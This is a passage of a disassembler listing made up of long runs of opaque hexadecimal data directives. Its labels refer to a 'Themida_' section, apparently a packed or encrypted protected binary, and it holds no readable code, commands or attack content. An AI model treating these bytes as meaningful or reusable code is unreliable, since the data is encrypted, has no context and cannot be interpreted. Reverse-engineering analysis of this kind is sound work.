		dd 7D70A4D5h, 611DAC0Fh, 3DD69C0Eh, 0F0F5248Ch,	80B132B2h
		dd 0BA483256h, 5DBBDB56h, 0FB4B3256h, 0E6D6CF43h, 0DE60B0C5h
		dd 5DBE3256h, 0EAB13258h, 75393D36h, 3BB13256h,	0F2580C9Fh
		dd 0AE49531Dh, 5B363D56h, 0A4B13256h, 0D5B134D8h, 0EA323D56h
		dd 75B13256h, 0BABFDB56h, 6A103256h, 94F28020h,	799072CBh
		dd 9A8F6329h, 0D5483256h, 0EB333D56h, 8DB13256h, 0B4583256h
		dd 95B13256h, 42E171C6h, 0F4625A89h, 2B9ED8h, 0DAB1325Ch
		dd 0EAB125D2h, 65585256h, 5DB13256h, 278755CAh,	11CB263Fh
		dd 0D9D3D874h, 0CA057ECBh, 0DE583256h, 5FB13256h, 8931A3B8h
		dd 8600F4F3h, 52587504h, 0C9B13256h, 5C071B32h,	9C044B12h
		dd 0A61CFCFCh, 0EAB1A09Bh, 0E6008836h, 5D7466Bh, 5DD0E8CAh
		dd 0AEBEDB56h, 0FA0C3256h, 3A685776h, 0E7B9578Fh, 367FD911h
		dd 7AB132F1h, 0BAB13ADFh, 0AA305256h, 0AAE083C8h, 37B13237h
		dd 0CA49E2DDh, 0D5483256h, 6BD75256h, 9D04E8B0h, 0BAB13251h
		dd 0C90B1079h, 0F52AF499h, 37B13237h, 0ABB13CBEh, 4F829956h
		dd 8E06AA1Eh, 0DC559FEFh, 411A11h, 3BB5B4E8h, 25D7630Dh
		dd 57D069A4h, 0ABA1DB56h, 41CE3256h, 4B0183A4h,	4D577B1Eh
		dd 2CB35E19h, 5DB1C4D4h, 0CEB132AFh, 57B2B759h,	20D73256h
		dd 58BE528Ch, 0EAB13256h, 14D06A07h, 0DCD13256h, 0B8E2D9D7h
		dd 0AEB123BEh, 852B6F56h, 3BCCECA5h, 8DE65DF8h,	0CC2AF2E3h
		dd 795826CBh, 75B13256h, 2ADA0675h, 89EA842Fh, 856E5F0h
		dd 0ABBCDB37h, 0BF8F3256h, 0FE862D71h, 79691DEEh, 0BA953EA8h
		dd 5DBEDB56h, 0F7733256h, 0DDD37C10h, 0AC5EAD1h, 1999C132h
		dd 8AB132B5h, 0E5F54FEEh, 0B8303D0Eh, 0EB13256h, 0AEB1530Eh
		dd 0E9D752AFh, 0A458A9CAh, 83B13256h, 0ED33D355h, 0DB6B2204h
		dd 1F2DB87h, 5DD0DE41h,	0B33D3D56h, 58B13256h, 0ABB125D8h
		dd 0D5A3DB56h, 6BFB3256h, 0D8F9D7B8h, 0C723DABh, 0D382ED6Bh
		dd 926FE2EAh, 0EF668136h, 9E0EECA9h, 29B13237h,	0EAB0BE59h
		dd 75483256h, 0BAB1CB56h, 5DA0B159h, 0CED13256h, 57B6DA37h
		dd 72833256h, 17BF6D96h, 0EAD06C73h, 6F3A3D56h,	0B5B13256h
		dd 5DB126DBh, 0AEBEDB56h, 0C3D83256h, 23845862h, 5B6B42E3h
		dd 716D7053h, 8CB13214h, 0BA483256h, 5DB1CE56h,	0AEA9B159h
		dd 44583256h, 16B13256h, 0EE93C44Fh, 98852EB1h,	55D9B434h
		dd 0C2A08A80h, 5DB1507Dh, 0DF42B236h, 36628559h, 0A4D13256h
		dd 0D5B132D0h, 0EF3B3D56h, 13B13256h, 0C418C4D7h, 5DB1CB37h
		dd 0AEB1CAAFh, 57B138BFh, 29ECF656h, 18CBE0FDh,	0EA1CC665h
		dd 75BEDB56h, 97533256h, 0F12853Bh, 700F55C2h, 20233514h
		dd 0A6333D40h, 0B5B13256h, 1A912FEFh, 326AB341h, 0DBBA4FFFh
		dd 52D13256h, 0AEB134D2h, 573E3D56h, 0CDB13256h, 0B48E28EFh
		dd 310E3D36h, 0A846B330h, 0BAB15349h, 0A4B132AAh, 0CEB132A3h
		dd 0AE6727E8h, 0BC313D45h
		dd 3CB13256h, 0EAB13244h, 240ECD53h, 5C504DA8h,	159096h
		dd 8198ADF4h, 57D07A55h, 0AA3C3D56h, 20B13256h,	0E1583256h
		dd 0BB13256h, 8B849F26h, 7AB63F56h, 0AE4865C4h,	5F3C3D56h
		dd 0A4B13256h, 0D5B130DEh, 0EAD05256h, 75B1CE56h, 0BAB0B559h
		db 56h,	32h
word_5B1E8E	dw 5D4Dh		; DATA XREF: Themida_:0057BEDFr
		dd 0A8585256h, 0EB13256h, 6E8E838Dh, 0A256B3A5h, 8BDB6652h
		dd 61583256h, 62B13256h, 0EABA054Ah, 0E4CBE3D7h, 3D0355BEh
		dd 4B5E38D5h, 0D5DFA857h, 0CF3C3D56h, 15B13256h, 0BAB122BFh
		dd 0C4F43556h, 4CFFF48Eh, 49BBA28Fh, 0F157B95Fh, 0D5B8DB23h
		dd 54A3256h, 4FC3EEDDh,	0DB5918C0h, 0D3BE3256h,	0AEB1325Ch
		dd 0EE6AB236h, 0CD62B330h, 0D5B153A7h, 0E5B132AFh, 75B122DBh
		dd 0BABADB56h, 0BE3E3256h, 4B621895h, 0CDECBE0Dh, 0BC393D84h
		dd 0DAB13256h, 0EAB123DBh, 75BDDB56h, 96C13256h, 354F6213h
		dd 71230D5Eh, 57B134E8h, 0A4B132AFh, 0D5B135DFh, 0EB353D56h
		dd 8CB13256h, 0BA443256h, 0E4D75256h, 29BE830Ah, 57B13255h
		dd 0CA628559h, 5FBE3256h, 0EAB13240h, 75A1B259h, 0B1583256h
		dd 6BB13256h, 75B012Dh,	92504E4Bh, 0ABB1C7F3h, 0D5B137BFh
		dd 31BB5556h, 75B1309Eh, 0B4323DA3h, 0B4B13256h, 0AEB1325Fh
		dd 0B3453C8h, 3738052Ch, 0DAB13237h, 0EAB137D6h, 0FED75256h
		dd 0BAB15390h, 5DB135BFh, 0F2A6356h, 0AEEDC017h, 28BE3256h
		dd 0D5B13257h, 0EAA3DBAEh, 8B223256h, 4E1ABE1Fh, 2AF67CF3h
		dd 74ED57E3h, 7B577704h, 2EBE3256h, 0D5B13257h,	0E5B132AFh
		dd 75B133DCh, 0BAB1CB56h, 5DBBDB36h, 0D03F3256h, 1847AE1Eh
		dd 3E13718Ch, 0D5B3BF59h, 0B1E73256h, 9CB13237h, 0BAB13250h
		dd 0E6705B57h, 0AEB1D89Bh, 57B13BBFh, 8E71ED56h, 6EA254C6h
		dd 0EAB1FA91h, 75B139BFh, 629D0756h, 0C9F7BD75h, 32FE5A9Dh
		dd 0DFBE3256h, 0ABB1325Ch, 0D5B137BFh, 2B585D56h, 75B1AE6Dh
		dd 0BAB138BFh, 21390456h, 8CE30B74h, 0A29568E9h, 0AC583256h
		dd 0E4B13256h, 2B26DD21h, 75B1878Fh, 0BAB6DB36h, 0CEC53256h
		dd 3EBE0641h, 57B153F6h, 0ABB123BFh, 0B0BB8356h, 0A4686A2Dh
		dd 0BCAC1625h, 0A1BCFEE4h, 5DB1A359h, 0AEB138BFh, 7AB0AF56h
		dd 61196D9Ch, 0D5B0491Ah, 0FB585256h, 37B13256h, 76740CABh
		dd 51A24358h, 0A722947Dh, 0F4B15580h, 16B58C30h, 2CB13237h
		dd 0EA483256h, 75B1C756h, 53B132AAh, 5DB1325Dh,	548C414Bh
		dd 0E898FD4Bh, 0AB0B5D8Dh, 0D5A0DB56h, 0DBB53256h, 9BDB4DF7h
		dd 2603CBEEh, 59BAC416h, 0A12C3FB0h, 57B129DAh,	0BE3A3D56h
		dd 3CB13256h, 0EAB13246h, 1A69ACh, 19BEEF1Eh, 3EC530FCh
		dd 0DFF17FF6h, 50583256h, 64B13256h, 21C22C22h,	0EAB12A3Bh
		dd 75B8BC59h, 4FD13256h, 5367D2D7h, 0AED02C49h,	57B1CE56h
		dd 52063D36h, 0D5B153AAh, 18306236h, 404EB66Ah,	0BB373D08h
		dd 0A1B13256h, 0A1B13237h, 57B13CDFh, 0ABB8DB56h, 930D3256h
		dd 2FCC37DDh, 751EF25Fh, 0B23B3D56h, 52B13256h,	0AEB130DEh
		dd 57D05256h, 0ABB1CB56h, 0D5A5DB36h, 29D93256h, 43B3FE4Fh
		dd 4DD81D39h, 83DD99B2h, 49DB4CF6h, 364D3383h, 0AB4D3256h
		dd 0D5B1C756h, 0E53C3DAAh, 9CB13256h, 0BAB1325Ch, 753DB08h
		dd 3CF4BFh, 57B12CD4h, 0ABB134BFh, 0D8A5B856h, 0EAB89305h
		dd 75A0DB56h, 0C1023256h, 7EDD6CC8h, 0F4FBEE55h, 0E2174717h
		dd 0AB4EE518h, 0D5B1CA56h, 3B132A3h, 75B1325Ah,	97EF7383h
		dd 0E984DC87h, 0E23C7E72h, 0DCD13256h, 0ABB1538Eh, 0D5BEDB36h
		dd 2EB33256h, 13951456h, 542624A9h, 20EEF775h, 59063DF1h
		dd 0BEB13237h, 0ABB1325Ch, 66A77138h, 3AF87833h, 75B148B3h
		dd 0BF303D36h, 3BB13256h, 9944E8D7h, 7859B330h,	0ABB15314h
		dd 0D5BDB459h, 69BE3256h, 75B13250h, 0BAB1BB59h, 5DB13256h
		dd 0AEB135BFh, 0AA4FED56h, 0D6A139D4h, 3CD13256h, 0EAB1325Ch
		dd 0ADB14403h, 205402C1h, 923A749Ch, 0CEB13237h, 57BBB959h
		dd 0AE583256h, 0DCB13256h, 7CE91003h, 75B13FBFh, 47FA5456h
		dd 6947E1DBh, 0F52D290Ah, 37D0F9F3h, 0ABB3B759h, 0B4D13256h
		dd 0EAB3B159h, 2FE33256h, 4FB13237h, 5DB8B659h,	0C8D13256h
		dd 314BB3EFh, 0ABD0C9DDh, 0D5BFDB56h, 0E78E3256h, 0BBED00Ah
		dd 7B923889h, 571CEFBh,	0BF583256h, 77B13256h, 8C0A012Ch
		dd 3E02CE10h, 17812D1Ch, 17DEE182h, 3EBE3256h, 5DB13245h
		dd 0AEB13CBFh, 5E9E3D56h, 1DF97A3Ch, 7A354AB2h,	0EAC6A5F3h
		dd 75A3DB56h, 1BD63256h, 8D903803h, 0B7C5C21Bh,	0C85AF4C9h
		dd 70BA59AEh, 0B3D13256h, 63E1E4D7h, 743E3D37h,	4FB13256h
		dd 57583256h, 0A9B13256h, 7D7F6379h, 810B72E6h,	29B13232h
		dd 8A4D3256h, 75B122BFh, 3DDCCF56h, 9D0347E3h, 341AB828h
		dd 96F80F06h, 0ABD0C7CDh, 5BBE5256h, 0EAB13254h, 9DD16801h
		dd 0BAB13251h, 0E9687C89h, 0F6ECC57Eh, 0FA158C30h, 0ABB15337h
		dd 0DAB132AFh, 0EAB13AD5h, 773B3D56h, 0DAB13256h, 95005237h
		dd 0C962FCD7h, 57D03FF6h, 0ABA5DB56h, 0F58D3256h, 94DB1D0Ch
		dd 2926965Ah, 0BAD5D2FAh, 9E1C2CD0h, 0AEB1C95Ah, 52353D36h
		dd 15B13256h, 0E94BD2EDh, 0C3F18C30h, 89B13237h, 0B6583256h
		dd 54B13256h, 8278ADD4h, 6F5E205Ah, 5E0189D8h, 54D13256h
		dd 9BE8119Ch, 75BFDA30h, 0A5423256h, 0A132F675h, 53CB5008h
		dd 17A56D70h, 0CAEE4BE6h, 0D8583256h, 1AB13256h, 5A05048Fh
		dd 2768AB72h, 0D0F6C66Bh, 47D13256h, 57B13244h,	0E93495BFh
		dd 9491DB0Ah, 2728F295h, 37184B86h, 2E2E3CEh, 6A8A3A3Bh
		dd 0AEB15309h, 0C60A5436h
		db 9, 0DBh
		db 0B6h
dword_5B243B	dd 5C3256ABh		; DATA XREF: Themida_:loc_57BECDr
		db 92h
		dd 2534E07Ah, 75B15377h, 0BAB122BFh, 0FCD44A56h, 77FDA2BDh
		dd 23E3719Ch, 7D3471E5h, 29B132DDh, 3D13256h, 75B13245h
		dd 8E16D012h, 367579C9h, 2E81FEB1h, 20AF6273h, 136F9E64h
		dd 8BA96140h, 0EB3C3D37h, 8DB13256h, 38BE3256h,	5DB13250h
		dd 19BECE36h, 57B1539Ch, 0ABB135BFh, 44232356h,	5C2A428Ah
		dd 9CD13256h, 0BAB13247h, 64B0C3DCh, 0DCB4CC61h, 0B2CF47FFh
		dd 6C294A4Eh, 0D6323DC9h, 0E5B13256h, 8DD0E4E1h, 3CBE3256h
		dd 5DB13257h, 25E252AFh, 983A6895h, 0CBB13237h,	544E8559h
		dd 0D54576BCh, 0F4D1531Ah, 555248BFh, 5DB15361h, 0AEB13ABFh
		dd 60301756h, 23286780h, 0D5A0DB9Fh, 5DCB3256h,	23673400h
		dd 183FD341h, 0EF498224h, 0AEC4DDD3h, 57B1C756h, 0ABB122BFh
		dd 7A334B56h, 26E9AA85h, 727B5765h, 75FD4CFCh, 0A8B13258h
		dd 0AEB9B059h, 58D13256h, 0ABB132DAh, 0D5B15356h, 0EAB9BB59h
		dd 0F4BE3256h, 0BAB13254h, 5DB15336h, 0CF46B936h, 57493256h
		dd 0A158CA56h, 0C9B13256h, 94EAB74h, 3810065h, 0B5B132A3h
		dd 5DB13EDCh, 0A83B3D56h, 58B13256h, 0ABB132DDh, 0D5B1CA56h
		dd 0EAB9BC59h, 8DD13256h, 0AC2D9BEEh, 5DB15311h, 0AEBDB759h
		dd 0DCBE3256h, 0ABB13250h, 0D5B1B459h, 0EAB13256h, 75B9DB36h
		dd 0EFF23256h, 49297D72h, 0C8E028CDh, 0AF79E9D7h, 0ABB1530Fh
		dd 0D43B3DA3h, 1FB13256h, 7A583256h, 0CBB13256h, 3EA2DC91h
		dd 38677467h, 1BD2B228h, 0ABB1B6D4h, 0D5B13DBFh, 5EC1DD56h
		dd 0A19D4367h, 9D41A456h, 743ADF3h, 0A1D13256h,	57B131DEh
		dd 0A57FB256h, 3CB13237h, 0EAB13250h, 56F310B1h, 0BAB189AFh
		dd 5DBCBA59h, 0A1D13256h, 57B132DFh, 48305456h,	0D5D04242h
		dd 65BE5256h, 75B13253h, 5E5B4EDh, 5DB15300h, 0AEB1C7AFh
		dd 58B132AEh, 0ABB127DBh, 0D5A1DB56h, 46213256h, 5F447062h
		dd 7FAC7A63h, 28FC0DBFh, 0AEB1ED6Ch, 0BEB132A3h, 0ABB13251h
		dd 0ABAD635Bh, 3070B98h, 75B1325Ah, 0B1BC0E0Ch,	0EE954BA3h
		dd 9EF4925h, 51583256h,	4AB13256h, 526A2596h, 0E5B13295h
		dd 75B124D4h, 0BAA0DB56h, 0D43E3256h, 69273392h, 91EF8AEBh
		dd 0A8C0AC32h, 0D5B9EBBCh, 3D1CA56h, 75B1325Ch,	3432FC7Eh
		dd 674DCD1Ah, 0A35969A6h, 0AAB13256h, 938F949Ah, 2A6AE21h
		dd 231FB0C8h, 75B13BBFh, 971B0656h, 484807B3h, 0CFEB9DBFh
		dd 0D8BE3256h, 0ABB13257h, 3CB132AAh, 0EAB13247h, 0EB2A2A18h
		dd 0C484EA28h, 432DC2F3h, 96A3E5BDh, 0BEB1328Dh, 0ABB13250h
		dd 3A83D23Ch, 0EAB1FE8Eh, 9CB132AAh, 0BAB13245h, 1F6758E1h
		dd 2AF9C419h, 6E07E529h, 64568658h, 0DAA297A5h,	0EAB13BD0h
		dd 0F4D75256h, 301120B9h, 5DB153ABh, 0A9353DAAh, 58B13256h
		dd 0ABB133DCh, 0D5B1CB56h, 0EAB120BFh, 3646EC56h, 0AAD216FFh
		dd 52AC88B3h, 0F4471B5h, 57FDE3CDh, 20D75256h, 0D5B15391h
		dd 0EABBDB36h, 0F20E3256h, 47D770A1h, 7048EFACh, 0CF7FB930h
		dd 43583256h, 5FB13256h, 0DC4899Fh, 728AFFA4h, 0A99E2E66h
		dd 88A66360h, 5D616A5Ah, 0AEB7DB56h, 52D93256h,	89A523EAh
		dd 0B3D13256h, 124D35EEh, 75B1CB37h, 0BAB13CBFh, 4B1DB856h
		dd 0EE5E58E0h, 0F60FB215h, 577A1E58h, 54D13256h, 9A2FDD90h
		dd 92E88963h, 0BAD0545Eh, 5DB9DB56h, 71743256h,	0B0E1B61Dh
		dd 0ABB18B4Dh, 0B449C736h, 0E3583256h, 78B13256h, 691F1E95h
		dd 0B2F8413Fh, 0AEBBB659h, 52583256h, 0AAB13256h, 3612640Ch
		dd 66BE3256h, 75B13251h, 0BAB0B859h, 5D443256h,	0AF363D56h
		dd 0A2B13256h, 2DBE3256h, 0D5B13257h, 0E5B132AAh, 75B133D1h
		dd 0BAB1CA56h, 4A383D36h, 47B13256h, 57B13244h,	4C3D7776h
		dd 0FCE75201h, 0A1221A36h, 98ED14FEh, 0AE58E597h, 0EEB13256h
		dd 4FD70C7Ah, 0D6C786D9h, 0CC5FC134h, 0A3D2D0FEh, 8BE9D120h
		dd 1473B936h, 0BA4D3256h, 0EABE5256h, 63638C98h, 57D0604Ch
		dd 0ABB1CB56h, 0D5B138BFh, 4B8AE656h, 0BA29C2B7h, 0BA40EA2Ch
		dd 51373D56h, 0A1B13256h, 57B134D3h, 0AB323D56h, 0D5B13256h
		dd 0EAB1C756h, 75B0BC59h, 0BA4D3256h, 5DA5DB56h, 6C3B3256h
		dd 35D66A1Fh, 3E76CCBFh, 0B93193AEh, 1E14880Bh,	75B11499h
		dd 0BAA6BB59h, 4F583256h, 53B13256h, 6A07F159h,	173F0189h
		dd 48DEC86h, 1F68B3B9h,	80B132A9h, 3DBE3256h, 5DB13257h
		dd 0CEB132AEh, 57B3B459h, 0CAD13256h, 0B5B13237h, 0EAD0F8DCh
		dd 75B1CE56h, 0BAB135BFh, 183CD556h, 0F9C5C01h,	0DEBE3256h
		dd 0ABB13251h, 0D5B0BC59h, 3443256h, 75B1325Ah,	24BF3163h
		dd 9962A92Dh, 0EDA721E5h, 51583256h, 29B13256h,	0D3232D1h
		dd 51D75256h, 0A7302244h, 0D4AC7D29h, 0B4B13237h, 0AEB13253h
		dd 2F059B65h, 0A4B13222h, 0D5B13CDAh, 0EAB8DB56h, 0CF5E3256h
		dd 98062489h, 5DB3CDA4h, 25D75256h, 57B153A5h, 0ABB1CAAAh
		dd 0DAB132A3h, 0EAB12FD6h, 9D495256h, 0BAB13242h, 0F3AAD4FCh
		dd 0C96801D6h, 0F19720FBh, 37BD84F6h, 0CDC4C9CCh, 0EAB1530Fh
		dd 15B132AFh, 0BAB121BEh, 0DEA99456h, 760098A6h, 0B4194CB8h
		dd 87B0BBCh, 0D3370A61h, 0EAB1B359h, 0C5EB3256h, 0BAB153F6h
		dd 5DB0B359h, 0AE443256h, 45323D56h, 0A4B13256h, 0D5B13ED3h
		dd 0EAB6DB56h, 5A123256h, 29C4AE8Bh, 5DB1CB50h,	0AEA1B059h
		dd 0DEBE3256h, 0ABB1325Ch, 0D5B137BFh, 3060D356h, 75B1CA63h
		dd 0BAB122BFh, 4FCEEB56h, 9EF5E686h, 72E8F17Eh,	0C5E1A7B9h
		dd 0B5B132C6h, 0B942B930h, 80DA8D30h, 0BAB15309h, 52B132A3h
		dd 0AEB131D8h, 36485256h, 0ABB6B459h, 59BE3256h, 0EAB13257h
		dd 8CB132AAh, 32BE3256h, 5DB1325Dh, 0AEB134BFh,	0C196F956h
		dd 0AB83B6CBh, 0D43B3D56h, 16B13256h, 13D13256h, 0EAD800EEh
		dd 3CEB6907h, 69AC8D36h, 57D06230h, 0ABB1CA56h,	0DAB132A3h
		dd 0EAB13EDDh, 73333D56h, 0B5B13256h, 5DB132D4h, 0A9323D56h
		dd 58B13256h, 0ABB133DDh, 0D5B1CE56h, 0EAA4B359h, 0F0BE3256h
		dd 0BAB13259h, 5DB138BFh, 838FA756h, 0DF945A67h, 0ABACAE53h
		dd 5ED75256h, 55D76581h, 14EED5A9h, 0DCD13256h,	77BBEAD7h
		dd 0AEB13ABFh, 0A7F52656h, 0DA8368B3h, 0D5B153B9h, 0EAB120BFh
		dd 0D74D7556h, 6DAF821Eh, 9032D199h, 29B31DF4h,	5700E0D6h
		dd 0ABBFDB56h, 9C393256h, 0B22B5170h, 66868688h, 20FD89ECh
		dd 0DABE3256h, 0AEB1325Fh, 9D30CA36h, 0F0EBCF23h, 29B13237h
		dd 0E5D13256h, 7AE6CCE1h, 0BAB132D2h, 5DD06D56h, 0AEA0DB56h
		dd 0BBD53256h, 0CEFC1DC5h, 0BCF20532h, 0A11721D5h, 75DF26EBh
		dd 0BAB1CB56h, 3DB132AAh, 0AEB1B659h, 57D03256h, 0A3333D56h
		dd 0B5B13256h, 0CE978930h, 75D06A05h, 0BAB1CE56h, 5DB122BFh
		dd 3172F56h, 0FE61EFCDh, 0EDCCBE2Dh, 0D4FDCA7Ch, 0EAB1CE18h
		dd 75B138BFh, 20FA8756h, 2F5AC9A6h, 0AE3B9A49h,	0A53A5256h
		dd 9B23E5D7h, 0D5D067D4h, 0EAB7DB56h, 0A6AA3256h, 1391B312h
		dd 5D483256h, 0A6595256h, 47B13256h, 0A014A9C3h, 54F6089Bh
		dd 9866C396h, 75D0680Bh, 0BAB1CB56h, 52B132AAh,	0AEB135D6h
		dd 56373D56h, 5EB13256h, 0D5B13ABFh, 0D12DC956h, 0B5655EFFh
		dd 42B13296h, 5D443256h, 0AEB1CE56h, 37B132AAh,	0ABB126BEh
		dd 8B74F256h, 0C26E9E1Fh, 6C1E3A2Eh, 0B275F8C6h, 9654B1ADh
		dd 5BEFCB6Dh, 57B1CA37h, 0ABBBDB36h, 0C55C3256h, 31A05FD9h
		dd 0BF98829Fh, 0A6348B30h, 0DDBE5237h, 0AEB1325Ah, 57B135BFh
		dd 0A1A5CB56h, 97D3E49Ch
		dd 0EAB132BEh, 9F306856h, 0BC1FA06Eh, 48303DAAh, 0CEB13256h
		dd 5C59CADDh, 0A9B13256h, 0E5C1996Eh, 642F19F2h, 14EE0A57h
		dd 0E534BFAEh, 52B79FC6h, 0AEB124D3h, 57A0DB56h, 0F50A3256h
		dd 0F03B2A31h, 3DA31684h, 0D0C8E6E5h, 33D818A7h, 0F3CA38D4h
		dd 0AEBFDB50h, 0FDB3256h, 2FA18E18h, 3B8E0651h,	6487916Dh
		dd 0EE33BFAAh, 4FB79D0Ah, 26A9B0DFh, 52D134F8h,	5EE1EBD7h
		dd 0A4D059AEh, 0D5B127DEh, 61D75256h, 75BADB95h, 63CE3256h
		dd 7DA54D9Dh, 7726C594h, 0B1595365h, 42B13265h,	0D5B13251h
		dd 6374CF85h, 9D817844h, 0BAB130D1h, 3933F5AFh,	0AEB79C2Ch
		dd 58B13256h, 0ABB135DDh, 8EE35256h, 8B71EFD6h,	4C47B336h
		dd 53BD82DBh, 5DB1325Fh, 28E18F39h, 32F6EEB8h, 0CBE35380h
		dd 0D5B13BBFh, 112E9656h, 958C2CEh, 7CD0CEDBh, 0F5A4E7D3h
		dd 2ED16450h, 0D6BE0D91h, 0ABB13250h, 0D5B1BE59h, 3D03256h
		dd 75B13242h, 0ADE0048Ah, 8DE93E64h, 2738D0Ch, 0FD472358h
		dd 0B0998AD1h, 7D09603Eh, 0E35952CAh, 78B13256h, 0AB71B935h
		dd 6F31806h, 0AEB126BEh, 0F7BEF656h, 0B3726B2Fh, 0D200E1A0h
		dd 99D6FDCDh, 774AEB59h, 0DBEA690Dh, 522487A9h,	28BE34FEh
		dd 57B1325Fh, 311F8936h, 33A2A85h, 9B34BF37h, 9CB7993Fh
		dd 0BAB13250h, 0F6230115h, 7E4E2014h, 59586436h, 1EB13256h
		dd 0F8FE6D51h, 6D48E52Eh, 0CD81B97h, 5BE6B76h, 0D8385380h
		dd 0A819159Fh, 57B13BBFh, 0BBF8B856h, 7BC3FAFDh, 0EEDB2AAFh
		dd 75B138BFh, 0BD55D56h, 0A6448F24h, 0C6822128h, 57B12256h
		dd 0A6F15AA3h, 63D13255h, 8B09848Fh, 8A49323Ch,	0BD343D86h
		dd 3DB13256h, 19BE5336h, 0BEEB5399h, 0ABB1325Eh, 6C849753h
		dd 0AB319EAAh, 0F1BEF25Dh, 0BAB1335Bh, 3933BBAEh, 52B79C2Ch
		dd 2D1BB0DFh, 0FDD134F8h, 0D5B13CBFh, 355E3D56h, 6095D963h
		dd 81A3F220h, 4EE24A1h,	0AEB3BC59h, 36D13256h, 0B73D3D37h
		dd 0B5B13256h, 0EAB122BEh, 1E227A56h, 0C5B6A772h, 5ADA9626h
		dd 342575B3h, 0EED76855h, 12D085FCh, 0D5B23F16h, 1349B9A3h
		dd 13D1F265h, 8E7ADCD7h, 3D1BC137h, 47E8E4D6h, 57B1325Bh
		dd 0C304C2A2h, 3D9C0DDFh, 75C4B2B6h, 80E353D4h,	4F44363Ch
		dd 5DA1323Eh, 14D75256h, 3FD0798Bh, 0ABB13656h,	0D5BCBB59h
		dd 0E2583256h, 0BDB13256h, 0CC9F145Ch, 0A5B7DF1Dh, 26BE323Ch
		dd 57B1324Fh, 0ABB6DB36h, 23973256h, 21840DB7h,	75B7DB3Dh
		dd 0A8563256h, 0ED2A77Eh, 6723CD37h, 0BEB79A71h, 0ABB1325Eh
		dd 1CFBD7B6h, 9EAD15F7h, 7C58CB0Ch, 0DAB13256h,	7751C02Bh
		dd 8E517A24h, 2AC7B0DFh, 42D134F8h, 0D5B13242h,	15D2933Bh
		dd 3D12871Bh, 1E6BD45Dh, 0C5E42D03h, 363566Ch, 0E4158B30h
		dd 0B8585337h, 75B13256h, 644073E8h, 0F179AF64h, 4782D6A9h
		dd 53A72633h, 0C8D17E8Dh, 5DE2C5D7h, 0D98D55E8h, 503A5328h
		dd 0EC1F4832h, 0F9BEF1AFh, 0BAB13251h, 5DB0B859h, 0CE483256h
		dd 6633F5AFh, 0ABB79A48h, 2CB17256h, 0EAA2DA36h, 0EC533256h
		dd 399F0F69h, 1591B78h,	21BECBD9h, 3BA60924h, 540B54FCh
		dd 5BBE6A59h, 0EAB13240h, 75B123BFh, 7DED9256h,	8194285h
		dd 0C6FACADh, 783257B4h, 6CD0A2EBh, 7DB853D4h, 0EAA13250h
		dd 75BDDB56h, 1E6C3256h, 194BF8D0h, 4E21FDD8h, 0AFD0EDCEh
		dd 0CB44CB95h, 0D5B5B959h, 1FD13256h, 0CF3A53AEh, 0BC1F4832h
		dd 5DBBBB59h, 0AB583256h, 0FB13256h, 86C7CA32h,	0DAB10DD5h
		dd 0EAB1EED2h, 70585256h, 59B13256h, 656BB084h,	0CFFDF0D6h
		dd 880A5236h, 5E9C26E3h, 0D5BDDB37h, 0CD013256h, 414095B3h
		dd 457A6B27h, 0DED0C773h, 0A1B32229h, 57B108D2h, 0D432CB56h
		dd 51BE3646h, 0EAB13221h, 75BBBB59h, 0B5D13256h, 950ECBE9h
		dd 0CF9E7292h, 58A5F5D5h, 0ABB133DAh, 4C58CB56h, 34ECDA9h
		dd 75B1325Ch, 0CCA416BDh, 0AA8A2096h, 694D6D40h, 57B02211h
		dd 0A0583256h, 16B13256h, 3790F319h, 53935178h,	7F58E120h
		dd 524ECDA9h, 0AEB12ADCh, 57A2DB56h, 3B0A3256h,	0DD6B40EAh
		dd 673E02F7h, 0F4BD630Bh, 93C91D0Eh, 55343D14h,	0CEB13256h
		dd 58668559h, 6CD0C5E9h, 0D5B22211h, 6FBE3256h,	75B1325Ah
		dd 0BAB7B159h, 0D2BE3256h, 0AEB13256h, 0A84E49BFh, 0AA3F3DA9h
		dd 2DB13256h, 0FA5853AFh, 49B13256h, 0F402C37Ah, 66032C73h
		dd 4D292601h, 94ED1B4Ch, 0ABBEDB36h, 8BF43256h,	1E504F9Fh
		dd 2AA3EEFDh, 9FFAFC36h, 5F303D5Fh, 0FEB13256h,	58E4530Fh
		dd 0ABB133DBh, 393AC756h, 5DBE52AAh, 73373D96h,	0B5B13256h
		dd 5DB132D0h, 5BD15356h, 57B132BEh, 41306856h, 0D31FA57Ah
		dd 0E2585236h, 9BB13256h, 8A562D81h, 0B48089C3h, 0AEB13251h
		dd 4F778832h, 0CAF24FF5h, 1250B330h, 0E5D153FBh, 75B134D6h
		dd 0BA303D56h, 0B4B13256h, 0AEB1325Dh, 9FE35D95h, 84F4E745h
		dd 0B4C8CDB9h, 971380DDh, 0FE4834F8h, 0AB583A13h, 54B13256h
		dd 0AAC8271Fh, 0E68CFAFAh, 1FEA5F1Fh, 0A80DA3A4h, 63BE34DFh
		dd 75B1324Ah, 0BA313D36h, 0B5B13256h, 0AEB13258h, 0F90A7EDCh
		dd 9DC9E4B6h, 0CB974853h, 8BEF3D9Bh, 813B0D5h, 0DAB534F8h
		dd 5DB13CBFh, 0D007F056h, 394F6CF6h, 13171C80h,	3C341917h
		dd 0EAB1325Eh, 8190346Dh, 66D0853Dh, 3DD0CE37h,	0DAB768ECh
		dd 58D15337h, 0ABB133D5h, 6BD7C756h, 23D04FC4h,	75B13DBFh
		dd 0B5704756h, 0AC270131h, 0EF4AE423h, 0A7648652h, 5EB13694h
		dd 91035236h, 1C305237h, 742B8864h, 0B158C736h,	2BB13256h
		dd 33035205h, 0BB66471Eh, 0CAD03062h, 0D5B132BEh, 306856h
		dd 731FAA62h, 703A5436h, 0D649CE37h, 0CC44E4h, 0D74D5250h
		dd 90D0F6BEh, 7BCC90E4h, 0FF353D50h, 8DB13257h,	31480CDDh
		dd 0EBBECE89h, 58493319h, 58313311h, 0ABB11CD3h, 0D5BBDB56h
		dd 170B3256h, 1B9AA6B0h, 52D7F5EFh, 0A544EB55h,	0AEB11EBFh
		dd 57B7DB56h, 22EE3256h, 4D3C5222h, 0EAB4BE59h,	15D13256h
		dd 91D0CB37h, 5DBEDB8Fh, 0F1033256h, 0DD739796h, 0EDE487B1h
		dd 368FC1E4h, 0A9487176h, 97305436h, 4E0E5184h,	3CC700C0h
		dd 0A68CB7DDh, 0D0BE34FEh, 0ABB1325Ch, 0D5B137BFh, 0E3B17F56h
		dd 0F83AC763h, 0BC191903h, 3E05236h, 954D5337h,	68333D8Eh
		dd 0A4B13256h, 0D5B133DCh, 338ACA56h, 7581B559h, 0BF583256h
		dd 97B13256h, 0DF2E48A2h, 0AEB5F4D5h, 544E0CBFh, 0C65852A9h
